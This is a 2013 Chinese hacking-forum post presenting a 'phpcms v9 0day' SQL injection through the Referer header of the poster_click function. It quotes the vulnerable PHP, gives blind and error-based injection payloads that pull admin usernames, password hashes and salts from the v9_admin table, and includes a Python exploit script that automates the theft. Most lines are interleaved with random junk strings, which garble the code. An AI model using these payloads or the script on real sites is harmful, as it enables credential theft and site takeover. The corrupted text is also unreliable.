找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2236|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:) O; G2 a; v$ m

5 e& |. n- S" J+ g  k问题函数\phpcms\modules\poster\index.php
/ _+ W5 L0 t. E+ Q7 u* q# t
/ D$ z- O/ G9 V5 [  n+ Rpublic function poster_click() {& ~% o. P/ z( W7 Y7 n2 L
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
. a' G& A! F  L$r = $this->db->get_one(array('id'=>$id));
$ \) S# }& k/ _  s9 Jif (!is_array($r) && empty($r)) return false;
$ p* d9 N2 }6 Q" F$ d$ip_area = pc_base::load_sys_class('ip_area');
; W* E/ B& q5 {, L$ip = ip();& @1 [, I/ p  f% Z8 [$ Z( J2 w
$area = $ip_area->get($ip);; Z; |" o, B5 [9 P
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
) M# Z1 W- w1 }8 {0 n. J+ Wif($id) {
. @2 A) r8 ]/ z9 ]- i6 @$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();4 y+ U0 z5 a; w4 c' F+ T+ J' _+ o
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
% V* S' v6 l* f3 E5 B}, D, c% {/ p/ s; Y
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
) q- v5 V% H, B1 W- K$setting = string2array($r['setting']);8 Q- m4 b  Z6 d* C4 |6 m) k9 c# S' F
if (count($setting)==1) {# _# l/ K: q0 ?0 u  R
$url = $setting['1']['linkurl'];
* |4 S; {# ?+ d6 a7 Y} else {
4 P! _9 b3 z# Y: [$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
6 f  F3 d* K: L; U}
( j7 C  k& {2 T8 C8 fheader('Location: '.$url);$ ^  O2 F" L! H' O8 }" U9 y8 k
}7 ^( _4 P& g% M7 G1 f" j+ |

+ B# e1 q: X! Z- _3 n # K1 U: P8 g1 r0 N6 ?' ?  z) r

* s; n2 ?+ f* x; p1 r利用方式:% D' y5 s0 R' l( e
, U( U" |  H+ x! w/ Z
1、可以采用盲注入的手法:
/ Y1 P% x- Y3 I, ~! V! }* n" K# D- y
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#3 g1 R9 o, Y+ |  S
, p, c1 l2 Y  h/ K. b& J
通过返回页面,正常与否一个个猜解密码字段。
/ h! V. b, H7 J% g! U! G& h, O2 k
5 {% B5 d1 O  M- I- m% R2、代码是花开写的,随手附上了:
( ~# i/ B6 K% D/ Q
4 B0 I5 D! |9 a. K3 A9 w+ W1 P6 w- h1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#2 F" o# R) k/ O0 L/ h- y
" x& P6 z0 |' G& x8 `
此方法是爆错注入手法,原理自查。
' I8 \( m; E3 W* z0 M9 e7 h- V' t& w% Z5 a& A( l

4 W: s' Y/ {# A" H3 p
# H7 X1 @5 o' y$ Q) ?1 O3 k利用程序:
" s# E+ S2 N% ~& i  s) _
. {; N; R( D8 A! K; ?) w8 F#!/usr/bin/env python4 f6 q( B- I1 Y6 z" v
import httplib,sys,re
/ p; q, M4 s/ n6 Z- M4 v. z; _; J
0 o! U& i  X$ bdef attack():
) J$ c. ^8 u) P9 ~- h: n% I  ?  X  }% W5 Uprint “Code by Pax.Mac Team conqu3r!”& o% T9 ]  a8 D+ S% r, ~
print “Welcome to our zone!!!”
" N% k* o. c6 |+ ?url=sys.argv[1]% s# ]3 |8 @8 U- u- k
paths=sys.argv[2]
! Q- W% {+ N1 A; P7 W$ {conn = httplib.HTTPConnection(url)
# g& O: I3 B$ J2 G& u  B6 |i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,* u( G8 N# I- M) u2 w/ [5 B/ T# ]4 t
“Accept”: “text/plain”,
6 M) j5 G" [- N  R" x) o“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}; Z  l+ a& t! X3 m4 V8 l8 v
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)4 G# O6 Y+ f% N
r1 = conn.getresponse()7 s" \1 j% _0 Z9 u  P
datas=r1.read()7 c2 X- ~2 p. P1 D: e- @
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
1 l) F# V- h3 o7 |print datas[0]
* Q% O0 L( |+ I( H7 M' k+ n) \  hconn.close()
4 n6 {  K6 X' b  j, V: L: yif __name__==”__main__”:) T' m4 P5 Y! }2 R
if len(sys.argv)<3:! H+ j/ c* H' y9 }6 R0 z
print “Code by Pax.Mac Team conqu3r”
4 a' D7 M: n3 F2 lprint “Usgae:”" v; `+ V6 _4 v7 {- y5 J4 f9 w0 y
print “    phpcmsattack.py   www.paxmac.org /”
% Y  U$ p/ J* Cprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
; `" o; A0 R) T1 Y9 e7 Ysys.exit(1)
- A- l8 _7 ]. A) Sattack()
: ^6 \3 P. \' F- M( q3 ~9 ~0 Z- }2 W7 b/ J8 z8 G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表